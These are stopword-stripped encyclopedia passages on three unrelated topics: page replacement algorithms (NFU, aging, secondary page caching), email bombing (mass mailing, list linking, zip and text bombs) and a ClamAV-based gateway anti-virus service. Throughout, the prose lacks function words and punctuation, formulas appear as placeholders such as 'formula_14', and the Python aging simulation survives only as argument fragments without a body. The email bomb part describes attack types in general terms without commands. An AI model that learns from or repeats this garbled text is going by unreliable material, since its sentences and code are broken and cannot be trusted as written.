performs better practice os/390 uses global lru approximation falls back random replacement lru performance degenerates intel i860 processor used random replacement policy rhodehamel 1989 frequently used nfu page replacement algorithm requires counter every page one counter initially set 0 clock interval pages referenced within interval counter incremented 1 effect counters keep track frequently page used thus page lowest counter swapped necessary main problem nfu keeps track frequency use without regard time span use thus multi-pass compiler pages heavily used first pass needed second pass favoured pages comparably lightly used second pass higher frequency counters results poor performance common scenarios exist nfu perform similarly os boot-up thankfully similar better algorithm exists description follows frequently used page-replacement algorithm generates fewer page faults least recently used page replacement algorithm page table contains null pointer values aging algorithm descendant nfu algorithm modifications make aware time span use instead incrementing counters pages referenced putting equal emphasis page references regardless time reference counter page first shifted right divided 2 adding referenced bit left binary number instance page referenced bits 1,0,0,1,1,0 past 6 clock ticks referenced counter look like 10000000 01000000 00100000 10010000 11001000 01100100 page references closer present time impact page references long ago ensures pages referenced recently though less frequently referenced higher priority pages frequently referenced past thus page needs swapped page lowest counter chosen following python code simulates aging algorithm counters formula_14 initialized formula_15 updated described via formula_16 using arithmetic shift operators def simulateaging rs k rs 1,0,1,0,1,1 1,1,0,0,1,0 1,1,0,1,0,1 1,0,0,0,1,0 0,1,1,0,0,0 k 8 simulateaging rs k given example r-bits 6 pages 5 clock ticks function prints following output lists r-bits clock tick formula_17 individual counter values formula_14 page binary representation note aging differs lru sense aging keep track references latest 16/32 depending bit size processor integers time intervals consequently two pages may referenced counters 00000000 even though one page referenced 9 intervals ago 1000 intervals ago generally speaking knowing usage within past 16 intervals sufficient making good decision page swap thus aging offer near-optimal performance moderate price basic idea behind algorithm locality reference used lru difference ldf locality based distance used references ldf replace page longest distance current page two pages distance page next current page anti-clock rotation get replaced many techniques discussed assume presence reference bit associated page hardware bit efficient use requires techniques operate well without one one notable example vax hardware running openvms system knows page modified necessarily page read approach known secondary page caching pages removed working sets process-private memory generally placed special-purpose lists remaining physical memory time removing page working set technically page-replacement operation effectively identifies page candidate page whose backing store still valid whose contents dirty otherwise need preserved placed tail free page list page requires writing backing store placed modified page list actions typically triggered size free page list falls adjustable threshold pages may selected working set removal essentially random fashion expectation poor choice made future reference may retrieve page free modified list removed physical memory page referenced way removed free modified list placed back process working set modified page list additionally provides opportunity write pages backing store groups one page increasing efficiency pages placed free page list sequence pages works way head free page list resembles results lru nru mechanism overall effect similarities second-chance algorithm described earlier another example used linux kernel arm lack hardware functionality made providing two page tables – processor-native page tables neither referenced bits dirty bits software-maintained page tables required bits present emulated bits software-maintained table set page faults order get page faults clearing emulated bits second table revokes access rights corresponding page implemented altering native table working set process set pages expected used process time interval working set model n't page replacement algorithm strict sense actually kind medium-term scheduler
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Operating systems
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email bomb internet usage email bomb form net abuse consisting sending large volumes email address attempt overflow mailbox overwhelm server email address hosted denial-of-service attack dos attack smoke screen distract attention important email messages indicating security breach three methods perpetrating email bomb mass mailing list linking zip bombing mass mailing consists sending numerous duplicate mails email address types mail bombs simple design extreme simplicity means easily detected spam filters email-bombing using mass mailing also commonly performed ddos attack employing use zombie botnets hierarchical networks computers compromised malware attacker control similar use spamming attacker instructs botnet send millions even billions emails unlike normal botnet spamming emails addressed one addresses attacker wishes flood form email bombing similar purpose ddos flooding attacks targets frequently dedicated hosts handling website email accounts business type attack devastating services host type attack difficult defend simple mass-mailing bomb multiple source addresses possibility zombie computer sending different message employing stealth techniques defeat spam filters list linking also known email cluster bomb means signing particular email address several email list subscriptions victim unsubscribe unwanted services manually attack carried automatically simple scripts easy almost impossible trace back perpetrator potentially destructive massive attack kind targeting .gov email addresses observed august 2016 order prevent type bombing email subscription services send confirmation email person inbox email used register subscription however even confirmation emails contribute attack better defense would prevent web sites exploited without abandoning subscription forms subscription form filled web site would dynamically create mailto link legitimate user would send message validate request without receiving email web site sender email could spoofed sender smtp ip address list manager therefore verify email form request matches originating smtp server validation message large amount confirmation emails initiated registration bots signing specific email address multitude services used distract view important emails indicating security breach happened elsewhere example amazon account hacked hacker may contrive flood confirmation emails sent email address associated account mask fact amazon shipment address changed purchases made hacker zip bomb variant mail-bombing commercial mail servers began checking mail anti-virus software filtering certain malicious file types exe rar zip 7-zip mail server software configured unpack archives check contents well new idea combat solution composing bomb consisting enormous text file containing example letter z repeating millions times file compresses relatively small archive unpacking especially early versions mail servers would use greater amount processing could result denial service zip .tar.gz file even contain copy causing infinite recursion server checks nested archive files text bomb similar variant sending large number text messages sms technique means cyberbullying online harassment apps online android operating system since banned means sending text bombs text messages may also lead high phone bill charges mobile plans additionally certain phone apps also created prevent text bombs android os
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Computer security
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gateway anti-virus gateway anti-virus allows applications across enterprise check files viruses providing soap-based virus scanning web service client applications attach files soap messages submit gateway anti-virus web service web service uses clamav scan attachments viruses returns results client
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Computer security
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